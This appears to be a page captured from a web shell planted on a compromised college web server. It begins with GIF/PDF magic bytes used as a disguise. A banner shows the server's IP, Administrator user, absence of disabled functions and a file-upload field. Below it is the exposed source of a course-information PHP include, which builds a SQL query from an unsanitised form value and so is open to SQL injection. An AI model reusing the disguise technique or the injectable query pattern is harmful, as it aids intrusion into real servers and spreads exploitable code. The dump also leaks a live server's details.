GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Course/ |
Upload File : |
<? // Course/courseInfo.phpinc // Get course info by f_courseNumber, courseNumber, or the URL. // If f_courseNumber is null courseNumber is used. If courseNumber is null the URL is parsed. // Includes: common/InstructorInfo.phpinc. // Returns: CDN[0][1], courseNumber, coursePage, courseTitle, f_courseId, Instructor['Id']['Name']['Firstname']['Lastname']['eMail'] debugTrackBegin(); #echo __FILE__; #if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1688 ) $courseInfoDEBUG = true; if ( !isset($courseInfoDEBUG) ) $courseInfoDEBUG = false; // Get the assignment name, type, and number from the URL. // Get the assignment name. if ( !isset($evaluationName) ) $evaluationName = formValue('evaluationName',''); if ( $evaluationName === false ) { $evaluationName = explode("/",dirname($_SERVER['PHP_SELF'])); $evaluationName = array_pop($evaluationName); } if ( $courseInfoDEBUG ) @d_Var('$evaluationName',$evaluationName,'',false,true); // Get the assignment type. preg_match('/^\D*(?=\d)/', $evaluationName, $evaluationType); if ( isset($evaluationType[0]) ) { $evaluationType = $evaluationType[0]; } else { $evaluationType = ''; } if ( $courseInfoDEBUG ) printVar('$evaluationType',$evaluationType); // Get the assignment number. $evaluationNumber = substr($evaluationName,strlen($evaluationType)); if ( substr($evaluationNumber,0,1) =='0' ) $evaluationNumber = substr($evaluationNumber,1); // Remove any leading 0. if ( $courseInfoDEBUG ) printVar('$evaluationNumber',$evaluationNumber); // Get the previous assignment name and number. $evaluationNamePrevious = $evaluationName; #printVar('substr($evaluationName,-1)',substr($evaluationName,-1)); $endsInNumber = true; if ( !preg_match_all("/.*?(\d+)$/", $evaluationName, $matches) ) { // Ends in a letter. if ( strtolower(substr($evaluationName,-1)) == 'a' ) { // Remove the 'a'. $evaluationNamePrevious = substr($evaluationNamePrevious,0,-1); } else { // Get the previous letter. $endsInNumber = false; // Stop previous number check below. if ( substr($evaluationNamePrevious,0,-1) == strtoupper(substr($evaluationNamePrevious,0,-1)) ) { // Setup for proper case. $letters = ' ABCDEFGHIJKLMNOPQRSTUVWXYZ'; // Uppercase letter. } else { $letters = ' abcdefghijklmnopqrstuvwxyz'; // Lowercase letter. } // Set the previous assignment name and number. $evaluationNamePrevious = substr($evaluationNamePrevious,0,-1).substr($letters,strpos($letters,substr($evaluationNumber,-1))-1,1); } } elseif ( stripos($evaluationName,'.') !== false ) { $evaluationNamePrevious = substr($evaluationName,0,stripos($evaluationName,'.')); $endsInNumber = false; // Stop previous number check below. } if ( $endsInNumber ) { // Set the previous assignment name and number. #$evaluationNamePrevious -= 1; $evaluationNamePrevious = $evaluationType.twoDigit($evaluationNamePrevious); } if ( $courseInfoDEBUG ) printVar('$evaluationNamePrevious',$evaluationNamePrevious); if ( $courseInfoDEBUG ) printVar('$evaluationNamePrevious',$evaluationNamePrevious); #printVar('$endsInNumber',$endsInNumber); #printVar('$evaluationNamePrevious',$evaluationNamePrevious); // Get courseNumber from the URL query value - This will override any value previously in courseNumber. $f_courseNumber = formValue('courseNumber'); #if ( $courseInfoDEBUG ) printVar('$f_courseNumber',$f_courseNumber); #if ( $courseInfoDEBUG ) printVar('$courseNumber',$courseNumber); if ( $f_courseNumber ) $courseNumber = $f_courseNumber; // If we don't know the courseNumber get it from the URL if ( !isset($courseNumber) || $courseNumber == '' ) { $courseNumber = ''; // Get the path to the course. $__currentPath = explode("/",$_SERVER['PHP_SELF']); #printVar('count($__currentPath)',count($__currentPath)); for ($i=2; $i<count($__currentPath)-1; $i++) { if ($courseNumber == '' && preg_match('/^[A-Z]{3,4}[0-9]{2,4}$/',$__currentPath[$i])) { $courseNumber = $__currentPath[$i]; #printVar('$__currentPath[$i]',$__currentPath[$i]); #printVar('$courseNumber',$courseNumber); } } } if ( $courseInfoDEBUG ) printVar('$f_courseNumber',$f_courseNumber); if ( $courseInfoDEBUG ) printVar('$courseNumber',$courseNumber); // Get the instructor info from the URL and course number. if ( !isset($Instructor) ) { require('common/InstructorInfo.phpinc'); } $__pageOK = 0; $CDN = courseDeptNumber($courseNumber); /** / // Get the courseTitle from legacy.ridgewater.edu or the database. #printVar('$CDN',$CDN); $__current_error_reporting = ini_get("error_reporting"); error_reporting(0); $__default_socket_timeout_save = ini_get('default_socket_timeout'); ini_set('default_socket_timeout', 3); $coursePage = file_get_contents("http://legacy.ridgewater.edu/Courses/?CD=".$CDN[0]."&CN=".$CDN[1],false,null); ini_set('default_socket_timeout', $__default_socket_timeout_save); #echo "\$__courseRow=[".$__courseRow."]"."<br>\n"; if ($coursePage != '') { //echo 'strstr($__courseRow,"Information for this course is not currently available")='.strstr($__courseRow,"Information for this course is not currently available")."<br>\n"; if ( !strstr($coursePage,"The legacy.ridgewater.edu website is currently down or unreachable.") && !strstr($coursePage,"Information for this course is not currently available.") ) { // Page load OK. $__pageOK = 1; } else { // Page load failed, ridgewater.edu is down for maintenance. $__pageOK = 0; } } else { // Page load failed, unable to reach ridgewater.edu. $__pageOK = 0; } error_reporting($__current_error_reporting); //echo "\$__pageOK=".$__pageOK."<br>\n"; if ($__pageOK) { $__courseTitleStart = stripos($coursePage,'<td width="*" class="courseTopBorderBold">')+42; $__courseTitleEnd = stripos($coursePage,'</td>',$__courseTitleStart); $__courseTitleLength = $__courseTitleEnd - $__courseTitleStart; $courseTitle = substr($coursePage, $__courseTitleStart,$__courseTitleLength); } else { $courseTitle = ''; } /**/ #d_Var('$Instructor',$Instructor,'d'); // Get the courseId and courseTitle from the database. $courseNumberTitle = ''; if ( strpos($f_courseNumber,'CST') !== false ) { $courseNumberOther = str_replace('CST','CST',$courseNumber); } else { $courseNumberOther = str_replace('MMDT','CST',$courseNumber); } $query = " SELECT * FROM course WHERE ( courseNumber = '".$courseNumber."' OR courseNumber = '".$courseNumberOther."' ) AND userId = ".$Instructor['Id']." ORDER BY YRTR DESC, courseNumber "; if ( $courseInfoDEBUG ) d_Var('$query',$query,'q',false,true); $__courseResult = query_do($query); if ( $courseInfoDEBUG ) d_Var('$__courseResult',$__courseResult,'',false,true); $__courseCount = $_SESSION['qry']['count']; if ( $courseInfoDEBUG ) d_Var('$__courseCount',$__courseCount,'',false,true); if ($__courseCount) { $thisYRTR = ''; $f_courseId = ''; mysqli_data_seek($__courseResult, 0); while ($__courseRow = mysqli_fetch_assoc($__courseResult)) { if ( $__courseRow['courseInactive'] || $__courseRow['courseObsolete'] || $__courseRow['courseUnavailable'] ) { require('common/pageHeader.phpinc'); ?> <h2 style="text-align: center;"><?=$__courseRow['courseNumber']?> <?=$__courseRow['courseTitle']?> is not available.</h2>. <? require('common/pageFooter.phpinc'); require('common/pageFooter.phpinc'); } if ( $thisYRTR == '' ) $thisYRTR = $__courseRow['YRTR']; if ( $thisYRTR == $__courseRow['YRTR'] ) $f_courseId = listAppend($f_courseId, $__courseRow['courseId']); $courseTitle = $__courseRow['courseTitle']; $courseNumberTitle = listAppend($courseNumberTitle,$__courseRow['courseNumber'],'/'); } $courseNumberTitle = listSort($courseNumberTitle,'/'); #$__courseRow = mysqli_fetch_assoc($__courseResult); #$f_courseId = $__courseRow['courseId']; if ( $courseInfoDEBUG ) d_Var('$__pageOK',$__pageOK,'',false,true); if ( $courseInfoDEBUG ) d_Var('$courseTitle',$courseTitle,'',false,true); if ( $courseInfoDEBUG ) d_Var('$courseNumberTitle',$courseNumberTitle,'',false,true); if ( $courseInfoDEBUG ) d_Var('strstr($courseTitle,"<")',strstr($courseTitle,"<"),'',false,true); if ( $__pageOK && $courseTitle != '' && !strstr($courseTitle,"<") ) { /** / // Update course title. $query = " UPDATE course SET courseTitle = '".$courseTitle."' WHERE courseId = ".$__courseRow['courseId']." "; $__courseUpdate = query_do($query); /**/ } } if ( $courseInfoDEBUG ) d_Var('$courseTitle',$courseTitle,'d'); // Set courseDirectory. $courseDirectory = '/'.str_replace(' ','',$Instructor['Name']).'/'.$courseNumber.'/'; // Clean up. unset($__courseCount); unset($__courseResult); unset($__courseRow); unset($__courseTitleEnd); unset($__courseTitleLength); unset($__courseTitleStart); unset($__courseUpdate); unset($__current_error_reporting); unset($__default_socket_timeout_save); #unset($__pageOK); unset($http_response_header); unset($i); #$courseInfoDEBUG = true; if ( $courseInfoDEBUG ) { printVar("\$_SERVER['PHP_SELF']",$_SERVER['PHP_SELF'],'/'); printVar("php_self()",php_self(),'f'); printVar('$courseNumber',$courseNumber,'f'); printVar('$courseTitle',$courseTitle,'f'); printVar('$f_courseId',$f_courseId,'f'); printVar('$Instructor',$Instructor,'f'); #$thisFile = __FILE__; require('common/pageFooter.phpinc'); } debugTrackEnd(); ?>